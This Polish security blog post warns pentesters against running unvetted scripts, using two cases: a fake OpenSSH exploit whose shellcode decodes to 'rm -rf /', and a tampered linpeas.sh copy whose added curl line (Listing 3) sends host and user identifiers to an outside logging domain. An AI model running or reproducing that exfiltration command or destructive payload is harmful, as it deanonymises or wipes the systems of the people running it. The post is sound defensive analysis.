Jak można było przejąć tysiące urządzeń z systemem Linux – czyli o niefrasobliwych nawykach pentesterów

Uruchamianie programów w formie skryptów oraz binariów to chleb powszedni pentesterów i administratorów. Rozsądek, profesjonalizm oraz dobre praktyki nakazują, aby dokonywać wnikliwego sprawdzenia zawartości uruchamianych programów, by nie wyrządzić szkody w zarządzanym, używanym lub testowanym systemie. 

Przykład historyczny

Wyśmiewani w gronie ludzi zajmujących się bezpieczeństwem tzw. script kiddies już lata temu mogli się przekonać na własnej skórze, czym grozi uruchomienie niezaufanego kodu z Internetu, bez zrozumienia jego idei. Przykładowo, mogli połasić się na uruchomienie eksploita na OpenSSH 5.3 (https[:]//github.com/sUbc0ol/OpenSSH-5.3-remote-root-0day-exploit-32-bit-x86-/blob/master/SSH5.30day.c). Nie rekomendujemy wykonywania tego działania.

Uruchomienie skompilowanego kodu, bez analizy kodu do wykonania (ang. shellcode), powoduje ujrzenie komunikatu o niewystarczających uprawnieniach (listing 1). 

   if(euid != 0)
    {
        fprintf(stderr, "You need to be root to use raw sockets.\n");
        exit(1);
    }

Jednak dalsza analiza pokazuje, że jedna z tablic bajtów ukrywa inne znaczenie (rysunek 1).

Tak naprawdę analiza zawartości dekodera po deasemblacji ukazuje kod przedstawiony na rysunku 2.

Zdekodowane wartości wrzucane na stos, widoczne na listingu 2, okazują się układać w polecenie /bin/rm -rf /

/bin//rm-r-f/

0x6e69622f 0x6d722f2f 0x722d 0x662d +0x2f

Listing 2. Wartości wrzucane na stos przez payload z rysunku 2.

Uruchamianie z poleceniami roota mogło skończyć się źle (chociaż na nowych systemach uniksowych nie musi dojść do tragedii).

Linpeas.sh – najnowszy przypadek

Linpeas.sh to dobrze znany i chyba lubiany skrypt pozwalający na enumerację systemów z rodziny Linux. Jest to element projektu PEASS-ng, czyli zestawu skryptów wykorzystywanych do szukania metod podniesienia uprawnień na różnych rodzinach systemów. Są one często wykorzystywane podczas zadań niewymagających skrytego działania na testowanych maszynach, ponieważ oferują kompleksowe sprawdzenie znanych metod podniesienia uprawnień (ang. privilege escalation).

Od pewnego czasu można było też wykorzystywać domeny z TLD .sh. I chociaż nie odnosi się ona do rozszerzenia skryptu powłoki, to bywa wykorzystywana w tym charakterze. 

Osoby wyszukujące linpeas.sh za pomocą znanej wyszukiwarki mogły być kierowane do domeny linpeas.sh, a samo wpisanie tej frazy w pasku wyszukiwania mogło prowadzić do automatycznego odwiedzenia strony pod tą domeną (rysunek 3). 

Rekord A domeny linpeas.sh od dawna wskazuje na adresy IP serwerów CloudFlare (rysunek 4).

Według internetowego agregatora securitytrails.com wpisy te nie ulegały zmianie (rysunek 5), co może sugerować, że od momentu zarejestrowania domeny w tym agregatorze (nie u rejestratora) nie zaobserwowano żadnych zmian. 

Zapisana na WayBack Machine kopia strony pokazuje to, co ukazywało się użytkownikowi po odwiedzeniu tego adresu (rysunek 6).

W momencie zaznaczenia i skopiowania zawartości strony (czyli – w domniemaniu – skryptu) użytkownikowi pokazywał się alert, który był wykonywany przez poniższy skrypt. Pop-up informował, że skrypt został skopiowany bez analizy (rysunek 7). 

Jednak to nie wszystkie „funkcje” hostowanego w domenie linpeas.sh skryptu. W zrzucie 27.11.2024 roku pojawia się bowiem dodatkowa komenda, wywołanie programu cURL w takiej postaci, jak na listingu 3.

curl -s "https://log.linpeas.sh/?uuid=$(cat /proc/sys/kernel/random/uuid)&id;=$(cat /var/lib/dbus/machine-id)&root;=$IAMROOT&hostname;=$(hostname)&user;=$(whoami)&uname;=$(uname -a | base64 -w 0)&cwd;=$(pwd | base64 -w 0)" > /dev/null 2>/dev/null

Listing 3. cURL przesyłający informacje do domeny log.linpeas.sh 

Wnikliwy Czytelnik zauważy, że przesyłane są informacje identyfikujące system oraz użytkownika, w kontekście którego został uruchomiony skrypt. 

Sytuacja ta natychmiast została wychwycona na portalu X przez czujne środowisko ludzi zajmujących się bezpieczeństwem, a sam twórca PEASS-ng zaprzecza, jakoby był właścicielem tej domeny. Podkreśla, że adres nie jest powiązany z projektem. 

Właściciel domeny, który wcześniej umieścił kod z pop-upem, zamieścił również swój nick na portalu X. To najprawdopodobniej on stoi za dodaniem dodatkowego wywołania cURL do kodu skryptu linpeas.sh.

Po odkryciu afery zawartość strony pod adresem https[:]//linpeas.sh została zmieniona na… mem (rysunek 8).

Internetowe źródła donoszą, że możliwe jest znalezienie historii commitów strony, a w szczególności tych, które wprowadziły podejrzane fragmenty (rysunek 9). 

Analiza przesyłanych informacji wskazuje, że była to poprawka niemająca bezpośredniego wpływu na przejęcie maszyny, na której uruchamiany był skrypt, natomiast prowadziła do jej deanonimizacji, co również nie jest pożądanym działaniem. Konsekwencje tej „wrzutki” mogły być o wiele szerzej zakrojone i tutaj możemy zgodzić się z autorem mema, że możliwe było „przejęcie” wielu maszyn w sieci (na szczęście pewnie część z nich to testowe maszyny służące do nauki – a i tu byłby problem, bo nie wszystkie mają dostęp do Internetu). 

To kolejna nauczka, aby nie kopiować bezmyślnie skryptów z Internetu i nie uruchamiać ich bez sprawdzenia. Podkreślamy, że niestety pobranie kodu z repozytorium nie rozwiązuje tutaj problemu, ponieważ wymaga zaufania do zespołu utrzymującego projekt, że nie tylko sami nie dodali złośliwej poprawki, ale też nie zrobili merge, który wprowadziłby niechciany kod. I chociaż rozumiemy, że często trzeba uruchomić wiele narzędzi, a każde z nich to setki, jeśli nie tysiące linii kodu, to podkreślamy, że nie należy tego robić automatycznie. Zwłaszcza gdy działamy w zakresie testowania bezpieczeństwa komputerowego, gdzie jako pentesterzy, badacze i bug hunterzy jesteśmy obdarzeni pewnego rodzaju zaufaniem, ponieważ często operujemy na wrażliwych systemach, których bezpieczeństwo jest kluczowe dla całej organizacji, a nierzadko wychodzi poza nią. 

Dlatego trudno nam powstrzymać ironiczne komentarze oraz zdziwienie, gdy obserwujemy proponowane metody instalacji oprogramowania przez przekazanie potokiem nienazwanym pobranego kodu przy pomocy cURLa do powłoki. A jeszcze lepiej, gdy zachęca się do uruchomienia tego w kontekście użytkownika root. 

W przypadku skryptów na GitHubie nie jest to jeszcze aż tak duży problem, ponieważ można założyć, że raw.githubusercontent.com zwróci rzeczywistą zawartość skryptu z repozytorium, natomiast dowolny serwer może na podstawie nagłówka User-Agent zaserwować cURLowi zupełnie inny plik, niż ten, który został wyświetlony po odwiedzeniu adresu za pomocą standardowej przeglądarki.Kopiowanie do schowka też może dać inny kod niż ten, który użytkownik przeczytał i chciał skopiować.

Bądźcie czujni!

~fc